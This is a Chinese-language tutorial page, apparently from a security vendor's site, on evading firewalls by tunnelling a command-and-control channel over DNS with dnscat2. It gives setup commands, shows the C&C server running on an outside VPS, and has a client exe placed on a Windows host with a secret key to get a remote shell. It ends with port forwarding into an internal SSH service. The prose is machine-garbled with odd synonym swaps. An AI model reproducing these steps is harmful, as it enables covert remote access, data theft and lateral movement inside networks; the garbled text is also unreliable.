|
|
|
联系客服020-83701501

实战:通过DNS协议绕过防火墙

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
实战:经过DNS协议绕过防火墙

测试环境

Default
123 ubuntu 14.04 root用户windows7 x64 user用户 

**0x01环境筹办**

Default
12345678 apt-get updateapt-get -y install ruby-dev git make g++gem install bundlergit clone https://github.com/iagox86/dnscat2.gitcd dnscat2/server#批改Gemfile source 'https://ruby.taobao.org/'bundle install 

梗概经过docker安装

Default
1234567 apt-get install docker.ioservice docker statusservice docker startcd ~/dnscat2/server#批改Gemfile source 'https://ruby.taobao.org/'docker build . 

安装完成之后,梗概在docker images 看到这个镜像不无名字,咱们批改一下 docker tag IMAGEID mpercival/dnscat2

**0x02把持过程**

server端

Default
1234 cd dnscat2/serverruby ./dnscat2.rb#docker用户  docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb 

自动草稿

梗概经过两种办法设置C&C地点,假如不有域名的话,间接在外网VPS运行ruby ./dnscat2.rb 有域名的童鞋,先设置好NS任事器将NS记录批改成当前的板滞。今后经过ruby ./dnscat2.rb yourdomain 我这里操纵的IP地点

client端

将dnscat2文件夹上面的client编译好成exe,今后上传到client端

Default
12 dnscat2.exe --dns=server=server端ip --secret=c2c6d04cab68ee2947d80316858da0f8 

自动草稿
由于在新版本的dnscat2是加密的所以咱们在客户端执行的时候要加之秘钥,不然无奈切确的创建毗连
自动草稿
得到shell

Default
1234 session -i 1 #切换到session 1help #经过help梗概看到否决的命令shell  #执行之后会复活成一个session  需求经过session -i 2 切从前 

自动草稿
如许就战败得到了一个shell,咱们梗概经过数据包看一下
自动草稿
数据但凡经过DNS收回去的,并且是加密过的,由于在最后的dnscat2的版本中,数据只是简单的hex编码。到最新版的默认就已经加密
t6
经过Salsa20加密算法休止了加密,假如不晓得秘钥,就几乎不能解密数据包了。除了日常平凡的反弹shell和上传下载文件遵从,另有一个对照有用的遵从
梗概经过dnscat2完成DNS单纯,今落伍行内网渗透。在战败得到一个session之后执行

Default
123 session -i idlisten 4444 10.211.55.19:22 #将内网10.211.55.19的22端口转发到当地的4444 

t7
今后间接ssh当地的ip的4444端口
t8
留心的是我用的docker环境,所所以间接ssh的docker的ip

编译好的client端

dnscat2.zip

**0x03参考**
https://github.com/iagox86/dnscat2
https://zeltser.com/c2-dns-tunneling/

【via@Tomato】

数安新闻+更多

证书相关+更多